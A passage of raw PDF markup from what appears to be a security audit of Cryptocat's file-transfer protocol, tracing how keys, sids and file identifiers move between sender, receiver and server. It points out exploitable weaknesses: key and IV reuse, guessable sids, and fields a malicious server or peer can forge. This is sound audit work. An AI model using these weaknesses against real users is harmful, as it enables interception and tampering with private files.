BT 1 0 0 1 0 50 Tm .254987 Tw 12 TL /F1 10 Tf 0 0 0 rg (By "on every round trip" means: after a new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared secret is generated, then the next ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (Data) Tj T* 0 Tw 1.781318 Tw (Message sent will contain an advertisement of a new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (public key. After that advertisement is) Tj T* 0 Tw 2.987485 Tw (received by the peer, then the next ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (Data Message that the peer sends will contain an) Tj T* 0 Tw .55784 Tw (acknowledgement of his receipt of that new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (public key. Once that acknowledgement is received) Tj T* 0 Tw (by first party, it will begin using the new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (public key which will result in a new ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared secret.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 426.0236 cm
Q
q
1 0 0 1 62.69291 114.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 297 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (4.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 285 cm
q
BT 1 0 0 1 0 14 Tm 4.039318 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever a client initiates a file send, then all the following things happen \(in order and) Tj T* 0 Tw (synchronously\) in the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (client on the file transmitter side:) Tj T* ET
Q
Q
q
1 0 0 1 23 279 cm
Q
q
1 0 0 1 23 279 cm
Q
q
1 0 0 1 23 243 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL .39998 Tw (The file transmitter generates a random 128-bit number encoded in hexadecimal, and appends) Tj T* 0 Tw 1.18186 Tw (the file's extension. We'll call this the "file identifier", although in the source code it is usually) Tj T* 0 Tw (called the "filename".) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 237 cm
Q
q
1 0 0 1 23 171 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 51 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (b.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 15 cm
q
BT 1 0 0 1 0 38 Tm 1.655697 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F4 10 Tf (OTR ) Tj /F1 10 Tf (object sends the file identifier \(called a "filename" in this protocol\), encrypted and) Tj T* 0 Tw .798443 Tw (authenticated, through ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (\(using the current ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared secret\), and calls back to ) Tj /F3 10 Tf (Cryptocat) Tj T* 0 Tw 2.149318 Tw /F1 10 Tf (to deliver an "extra symmetric key" \(which is derived by ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (from the current ) Tj /F3 10 Tf (DH ) Tj /F1 10 Tf (shared) Tj T* 0 Tw (secret\).) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (\(See the call to ) Tj /F4 10 Tf (on\('file',) Tj ( ) Tj (\205\) ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (handlePresence ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (cryptocat.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 165 cm
Q
q
1 0 0 1 23 63 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 87 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 6.22 0 Td (c.) Tj T* -6.22 0 Td ET
Q
Q
q
1 0 0 1 23 39 cm
q
BT 1 0 0 1 0 50 Tm .768651 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter diversifies the extra symmetric key into an encryption key and a ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key,) Tj T* 0 Tw .611318 Tw (and stores the pair of keys \(encryption key and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key\) in the hashtable named ) Tj /F4 10 Tf (fileKeys) Tj T* 0 Tw .084104 Tw /F1 10 Tf (under the index of the nickname of the intended file-receiver and then under the index of the file) Tj T* 0 Tw .932126 Tw (identifier: i.e. if the source code used this terminology, the indexing into ) Tj /F4 10 Tf (fileKeys ) Tj /F1 10 Tf (would be) Tj T* 0 Tw (written ) Tj /F4 10 Tf (fileKeys[receiversNick][fileIdentifier]) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 1.099984 Tw 12 TL /F1 10 Tf 0 0 0 rg (N.B. The same ) Tj /F3 10 Tf (OTR) Tj /F1 10 Tf (-generated key can be used for multiple file transfers here \(see ) Tj 0 0 .501961 rg (Issue A.) Tj T* 0 Tw 1.394104 Tw (Disclosure of File Contents Due to Re-use Of Key and IV ) Tj 0 0 0 rg (and ) Tj 0 0 .501961 rg (Issue B. Integrity Key and IV) Tj T* 0 Tw (Reuse in File Transfer) Tj 0 0 0 rg (\).) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 57 cm
Q
q
1 0 0 1 23 3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 39 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (d.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 14 Tm .675318 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter then generates an ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (, which is guaranteed to be unique within the scope) Tj T* 0 Tw (of that ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (client's current connection to the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (server.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm .196905 Tw 12 TL /F1 10 Tf 0 0 0 rg (N.B. If the client disconnects and reconnects to the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (server, then subsequently generated) Tj T* 0 Tw (sids could collide.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 76.86614 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 24.15748 Tm T* ET
q
1 0 0 1 23 3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 16.15748 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (e.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 4.15748 cm
q
BT 1 0 0 1 0 14 Tm .625984 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter stores the filehandle \(giving access to the file on the local filesystem\), the ) Tj T* 0 Tw .071412 Tw (nickname of the receiver, the encryption and authentication keys, and a counter in a hashtable) Tj T* 0 Tw ET
Q
Q
q
Q
Q
q
Q
Q
endstream
endobj
% 'R199': class PDFStream
199 0 obj
% page stream
<< /Length 9601 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 615.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 137 Tm T* ET
q
1 0 0 1 23 123 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 11 Tm T* ET
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 16.98997 Tw 12 TL /F1 10 Tf 0 0 0 rg (named ) Tj /F4 10 Tf (files ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (, indexed by the ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (. \(See) Tj T* 0 Tw /F4 10 Tf (Cryptocat.beginSendFile ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 117 cm
Q
q
1 0 0 1 23 15 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 87 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 8.44 0 Td (f.) Tj T* -8.44 0 Td ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 62 Tm .944651 Tw 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter initiates a strophe file transfer, which sends the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (and the file identifier) Tj T* 0 Tw 1.198314 Tw (\(called a "filename" in this protocol\) over an unencrypted and unauthenticated protocol. \(This) Tj T* 0 Tw .64248 Tw (message is unencrypted and unauthenticated at ) Tj /F3 10 Tf (this ) Tj /F1 10 Tf (layer, not at the underlying client) Tj /F6 10 Tf 12 TL (\253) Tj /F1 10 Tf 12 TL (server) Tj T* 0 Tw 1.578651 Tw (transport layer; i.e. the server is going to see and have the opportunity to manipulate those) Tj T* 0 Tw 1.296457 Tw (values, and unless both clients use ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (to the server, then other parties will as well.\) In the) Tj T* 0 Tw (same message, the file transmitter client also includes a file size and ) Tj /F3 10 Tf (MIME ) Tj /F1 10 Tf (type.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 15.36496 Tw 12 TL /F1 10 Tf 0 0 0 rg (\(See ) Tj /F4 10 Tf (Cryptocat.beginSendFile ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (send ) Tj /F1 10 Tf (in) Tj T* 0 Tw /F4 10 Tf (strophe.si-filetransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 9 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (g.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (The file transmitter then deletes ) Tj /F4 10 Tf (fileKeys[receiversNick][fileIdentifier]) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 609.0236 cm
Q
q
1 0 0 1 62.69291 129.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 465 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (5.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 453 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .557984 Tw (Now the following events might eventually occur in the intended file-receiver, as caused by some of) Tj T* 0 Tw (the network sends in step 4 \("Whenever a file transfer is initiated"\), above.) Tj T* ET
Q
Q
q
1 0 0 1 23 447 cm
Q
q
1 0 0 1 23 447 cm
Q
q
1 0 0 1 23 375 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 57 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 62 Tm 1.096905 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever the encrypted and authenticated file identifier is received over the ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (protocol in) Tj T* 0 Tw .112927 Tw (the receiver, the ) Tj /F4 10 Tf (OTR ) Tj /F1 10 Tf (object calls back to the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (code to deliver the file identifier and the) Tj T* 0 Tw .388555 Tw (extra symmetric key. The ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (code in the file receiver diversifies the extra symmetric key) Tj T* 0 Tw 1.03528 Tw (into an encryption key and a ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key, and stores the pair of keys \(encryption key and ) Tj /F3 10 Tf (MAC) Tj T* 0 Tw .188735 Tw /F1 10 Tf (key\) in the hashtable named ) Tj /F4 10 Tf (fileKeys ) Tj /F1 10 Tf (under the index of the nickname of the file sender and) Tj T* 0 Tw (then under the index of the file identifier: i.e. ) Tj /F4 10 Tf (fileKeys[sendersNick][fileIdentifier]) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 369 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 357 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (b.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 273 cm
q
BT 1 0 0 1 0 86 Tm .031797 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever the unencrypted and unauthenticated strophe file-transfer message is received in the) Tj T* 0 Tw .655318 Tw (file receiver, the message comes with a ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (field containing the nickname of the sender, as) Tj T* 0 Tw 1.063984 Tw (supplied by the server. The file receiver takes these five fields: from, sid, file identifier \(called) Tj T* 0 Tw 2.626651 Tw ("filename" in the protocol and in the source\), size, and mime-type, and stores them in a) Tj T* 0 Tw 2.020888 Tw (hashtable named ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (. They are indexed in ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (first by) Tj T* 0 Tw .049147 Tw /F4 10 Tf (from ) Tj /F1 10 Tf (and then by ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (. The strophe implementation sends back an acknowledgement message) Tj T* 0 Tw 1.065697 Tw (\(a "noop" in the strophe protocol\) to indicate to the sender that the ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf (\(In-Band-Bytestream\)) Tj T* 0 Tw (protocol is supported.) Tj T* ET
Q
Q
q
1 0 0 1 23 267 cm
Q
q
1 0 0 1 23 267 cm
Q
q
1 0 0 1 23 111 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 141 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 146 Tm .044985 Tw 12 TL /F1 10 Tf 0 0 0 rg (N.B. The file transmitter can choose to send anything it likes for sid, file identifier, size, and) Tj T* 0 Tw 2.078651 Tw (mime type. The file transmitter ) Tj /F3 10 Tf (could ) Tj /F1 10 Tf (choose an sid that matches an ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (used by a) Tj T* 0 Tw .83686 Tw (different peer of the file receiver client, or that matches an ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (used by the file receiver) Tj T* 0 Tw 1.343516 Tw (client, if it chose. \(The ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (could be learned by other peers or by the server, or could) Tj T* 0 Tw .531647 Tw (even be guessed "blind" if necessary since they have only approximately 10,000 possible) Tj T* 0 Tw .876905 Tw (values and are generated by ) Tj /F4 10 Tf (Math.random) Tj /F1 10 Tf (.\) The file transmitter ) Tj /F3 10 Tf (could not ) Tj /F1 10 Tf (choose a file) Tj T* 0 Tw .25311 Tw (identifier that matches a file identifier used by a different peer of the file receiver client \(file) Tj T* 0 Tw 3.044524 Tw (identifiers are too large to be guessed and are generated with cryptographic-quality) Tj T* 0 Tw .269982 Tw (randomness\). The file transmitter ) Tj /F3 10 Tf (could ) Tj /F1 10 Tf (choose a file identifier that matches a file identifier) Tj T* 0 Tw .869213 Tw (used by itself previously or concurrently. The file transmitter ) Tj /F3 10 Tf (could ) Tj /F1 10 Tf (choose a file identifier) Tj T* 0 Tw 2.552126 Tw (used by the file receiver client in a previous or concurrent file-) Tj /F3 10 Tf (send ) Tj /F1 10 Tf (operation in the) Tj T* 0 Tw .966412 Tw (opposite direction \227 from the client currently operating as file receiver, if it previously or) Tj T* 0 Tw (concurrently sent a file.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 105 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 93 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (b.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 98 Tm 1.465366 Tw 12 TL /F1 10 Tf 0 0 0 rg (N.B. The server can choose anything that the file transmitter could choose \(from 5.b.a.) Tj T* 0 Tw 1.448314 Tw (above\). \(There is no end-to-end encryption or authentication to prevent the server from) Tj T* 0 Tw 1.232651 Tw (seeing and altering these values as it likes.\) In addition, the server can send the ) Tj /F4 10 Tf (from) Tj T* 0 Tw 1.399983 Tw /F1 10 Tf (field set to whatever it likes \(there is not, at this point, any cryptographic authentication) Tj T* 0 Tw .009984 Tw (showing that the controller of a certain nick sent these fields\). In addition, the server knows) Tj T* 0 Tw .64881 Tw (the exact ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (used by each client and could send a ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (chosen to match any of them.) Tj T* 0 Tw .455984 Tw (In addition, the server knows the file identifiers used by all clients \(since the file identifiers) Tj T* 0 Tw 1.437126 Tw (are sent unencrypted in the strophe protocol, in addition to being sent encrypted in the) Tj T* 0 Tw /F3 10 Tf (OTR ) Tj /F1 10 Tf (protocol\), so it could choose to send a file identifier equal to any of them.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 123.0236 cm
Q
q
1 0 0 1 62.69291 93.02362 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 15 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (6.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .17561 Tw (Now the following event might eventually occur in the file transmitter, as caused by the network send) Tj T* 0 Tw (from the receiver's strophe implementation in 5.b:) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
endstream
endobj
% 'R200': class PDFStream
200 0 obj
% page stream
<< /Length 10319 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 639.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 6 113 Tm T* ET
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 111 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 75 cm
q
BT 1 0 0 1 0 38 Tm .439979 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever the strophe acknowledgement message from the file receiver arrives \(indicating that) Tj T* 0 Tw 1.177318 Tw (the receiver is capable of ) Tj /F3 10 Tf (IBB) Tj /F1 10 Tf (\), then the file transmitter sends an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ('open' message, which) Tj T* 0 Tw 2.32748 Tw (contains the receiver's nickname, the sid, and the chunksize. This message is transmitted) Tj T* 0 Tw (unencrypted and unauthenticated.) Tj T* ET
Q
Q
q
1 0 0 1 23 69 cm
Q
q
1 0 0 1 23 69 cm
Q
q
1 0 0 1 23 57 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (N.B. the file transmitter can choose anything it likes to send for the sid and the chunksize.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 51 cm
Q
q
1 0 0 1 23 15 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (b.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.935366 Tw (N.B. the server can choose anything that the file transmitter could choose \(from 6.a.a) Tj T* 0 Tw 2.611984 Tw (above\). In addition, the server can send the "from" field set to whatever it likes. As) Tj T* 0 Tw (mentioned above, the server also knows the sids of all clients.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 15 cm
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (\(See ) Tj /F4 10 Tf (Cryptocat.beginSendFile ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 633.0236 cm
Q
q
1 0 0 1 62.69291 483.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 135 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (7.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 123 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .904985 Tw (Now the following event might eventually occur in the file receiver, as caused by the network send) Tj T* 0 Tw (from the file transmitter's 6.a.:) Tj T* ET
Q
Q
q
1 0 0 1 23 117 cm
Q
q
1 0 0 1 23 117 cm
Q
q
1 0 0 1 23 -3 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 105 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 45 cm
q
BT 1 0 0 1 0 62 Tm .578651 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ('open' message is received, the client uses the ) Tj /F4 10 Tf (from ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (values from) Tj T* 0 Tw 8.553615 Tw (the message to retrieve the file identifier from the ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (hashtable, i.e.) Tj T* 0 Tw .458863 Tw /F4 10 Tf (fileIdentifier) Tj ( ) Tj (= rcvFile[from][sid].filename) Tj /F1 10 Tf (, and then fetches the keys from the) Tj T* 0 Tw .099974 Tw /F4 10 Tf (fileKeys ) Tj /F1 10 Tf (hashtable, i.e. ) Tj /F4 10 Tf (key) Tj ( ) Tj (= fileKeys[from][fileIdentifier]) Tj /F1 10 Tf (, and then stores the) Tj T* 0 Tw 1.160888 Tw (keys in the ) Tj /F4 10 Tf (rcvFile ) Tj /F1 10 Tf (hashtable, i.e. ) Tj /F4 10 Tf (rcvFile[from][sid].key) Tj ( ) Tj (=) Tj ( ) Tj (key) Tj /F1 10 Tf (, and then deletes) Tj T* 0 Tw (the key from the ) Tj /F4 10 Tf (fileKeys ) Tj /F1 10 Tf (hashtable, i.e. ) Tj /F4 10 Tf (delete) Tj ( ) Tj (fileKeys[from][fileIdentifier]) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 23 27 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (The file receiver client then sends an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("result" message back to the file transmitter.) Tj T* ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 5.209974 Tw 12 TL /F1 10 Tf 0 0 0 rg (\(See case 'open' in ) Tj /F4 10 Tf (Cryptocat.ibbHandler ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (open ) Tj /F1 10 Tf (in) Tj T* 0 Tw /F4 10 Tf (strophe.ibb.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 -3 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 477.0236 cm
Q
q
1 0 0 1 62.69291 76.86614 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 385.1575 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (8.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 373.1575 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .17561 Tw (Now the following event might eventually occur in the file transmitter, as caused by the network send) Tj T* 0 Tw (from the file receiver's 7.a., or as caused by the network send from the file receiver's 9.a.:) Tj T* ET
Q
Q
q
1 0 0 1 23 367.1575 cm
Q
q
1 0 0 1 23 367.1575 cm
Q
q
1 0 0 1 23 319.1575 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (a.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 38 Tm 2.902126 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever an ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("result" message is received in reply to the ) Tj /F3 10 Tf (IBB ) Tj /F1 10 Tf ("open" message, the) Tj T* 0 Tw 1.808294 Tw (file-transmitter client executes ) Tj /F4 10 Tf (Cryptocat.sendFileData ) Tj /F1 10 Tf (\(from ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (\) with) Tj T* 0 Tw .576457 Tw (its ) Tj /F4 10 Tf (to ) Tj /F1 10 Tf (argument set to the intended receiver's nick, and its ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (argument set to the sid. \(See) Tj T* 0 Tw /F4 10 Tf (Cryptocat.beginSendFile ) Tj /F1 10 Tf (in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 23 313.1575 cm
Q
q
1 0 0 1 23 -4.84252 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 303 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 5.66 0 Td (b.) Tj T* -5.66 0 Td ET
Q
Q
q
1 0 0 1 23 279 cm
q
BT 1 0 0 1 0 26 Tm 1.239979 Tw 12 TL /F1 10 Tf 0 0 0 rg (Whenever the file transmitter's ) Tj /F4 10 Tf (sendFileData ) Tj /F1 10 Tf (method is invoked, the file transmitter looks) Tj T* 0 Tw .204597 Tw (up the file-being-sent's position, filehandle, counter, and encryption key, and total size from the) Tj T* 0 Tw /F4 10 Tf (files ) Tj /F1 10 Tf (hashtable in the ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (, under the index of the ) Tj /F4 10 Tf (sid) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 23 213 cm
q
